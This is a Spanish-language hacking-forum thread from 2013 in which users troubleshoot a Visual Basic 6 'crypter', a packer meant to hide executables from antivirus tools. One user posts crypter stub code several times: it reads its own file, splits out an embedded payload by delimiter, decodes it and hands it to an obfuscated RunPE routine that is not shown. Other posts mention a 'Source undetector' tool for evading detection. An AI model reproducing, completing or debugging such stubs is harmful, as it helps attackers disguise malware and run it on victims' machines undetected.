Página 1 de 1
¡Error con mi Crypter!
Publicado: 24 Mar 2013, 07:36
por -GaiaX7-
Hola buenos dias hoy realize un crypter en visual basic 6 (estoy aprendiendo xD ) Creee todo perfecto el cliente y el stub pero cuando encrypto un archivo en este caso un anotador me sale este error "Run-Time error 13 : Type mismatch" y no puedo encontrar una solucion :/ si alguno de ustedes sabe o me puede ayudar se lo agradeceria, Desde ya gracias
Re: ¡Error con mi Crypter!
Publicado: 24 Mar 2013, 07:46
por Flight embedded
Compañero, una posible explicación (de acuerdo con lo poco que sé de Visual Basic) es que has equivocado el delimitador o hay seguro algún desfasaje de variables. Es decir, en el cliente pusiste "Pedrito" y en el stub escribiste "pedri".
En realidad si fuera error de delimitador tendría que salirte este mensaje " out range 9"
Revisá las variables, las strings.
Te lo muevo a la sección correspondiente, compañero.
Re: ¡Error con mi Crypter!
Publicado: 24 Mar 2013, 18:51
por -GaiaX7-
Cambie las strings con el programa "Source undetector" y guarde pero sigue el maldito error compa
Re: ¡Error con mi Crypter!
Publicado: 25 Mar 2013, 02:56
por xserpientex
Hermano la unica manera de tratar de resolver es que pongas los codigos como para analizar el problema
Saludos
Re: ¡Error con mi Crypter!
Publicado: 26 Mar 2013, 04:28
por tronoslycer
aqui publico un codigo mio, uso rot para encriptar, y me sale el error '13', no sé si tenga que ver con el runpe que generé con el generador de v0id, o con la funcion strconv
Código: Seleccionar todo
Sub Main()
Dim dat As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
dat = Space(LOF(1))
Get #1, , dat
Close #1
Dim vainamocha() As String
vainamocha() = Split(dat, "(xšf§°®Š¥¥šq§°°©°žœºf¬°§©ó©¹ª±º«ê»Ž§K)")
Dim vm1 As String
vm1 = mpus(vainamocha(1), Int(vainamocha(3)))
Dim dat1() As Byte
dat1() = StrConv(vm1, vbFromUnicode)
Call Q睊ãêŠã£Š(dat1(), App.Path & "\" & App.EXEName & ".exe", Command)
End Sub
Re: ¡Error con mi Crypter!
Publicado: 26 Mar 2013, 07:38
por tronoslycer
tronoslycer escribió:aqui publico un codigo mio, uso rot para encriptar, y me sale el error '13', no sé si tenga que ver con el runpe que generé con el generador de v0id, o con la funcion strconv
Código: Seleccionar todo
Sub Main()
Dim dat As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
dat = Space(LOF(1))
Get #1, , dat
Close #1
Dim vainamocha() As String
vainamocha() = Split(dat, "(xšf§°®Š¥¥šq§°°©°žœºf¬°§©ó©¹ª±º«ê»Ž§K)")
Dim vm1 As String
vm1 = mpus(vainamocha(1), Int(vainamocha(3)))
Dim dat1() As Byte
dat1() = StrConv(vm1, vbFromUnicode)
Call Q睊ãêŠã£Š(dat1(), App.Path & "\" & App.EXEName & ".exe", Command)
End Sub
creo que puede ser por el rot que tira caracteres raros que no concuerdan con unicode
Re: ¡Error con mi Crypter!
Publicado: 26 Mar 2013, 07:58
por tronoslycer
tronoslycer escribió:aqui publico un codigo mio, uso rot para encriptar, y me sale el error '13', no sé si tenga que ver con el runpe que generé con el generador de v0id, o con la funcion strconv
Código: Seleccionar todo
Sub Main()
Dim dat As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
dat = Space(LOF(1))
Get #1, , dat
Close #1
Dim vainamocha() As String
vainamocha() = Split(dat, "(xšf§°®Š¥¥šq§°°©°žœºf¬°§©ó©¹ª±º«ê»Ž§K)")
Dim vm1 As String
vm1 = mpus(vainamocha(1), Int(vainamocha(3)))
Dim dat1() As Byte
dat1() = StrConv(vm1, vbFromUnicode)
Call Q睊ãêŠã£Š(dat1(), App.Path & "\" & App.EXEName & ".exe", Command)
End Sub
solucionado, era un problema con el split que lo tome mal, no era el split(3), sino el splt(2) xD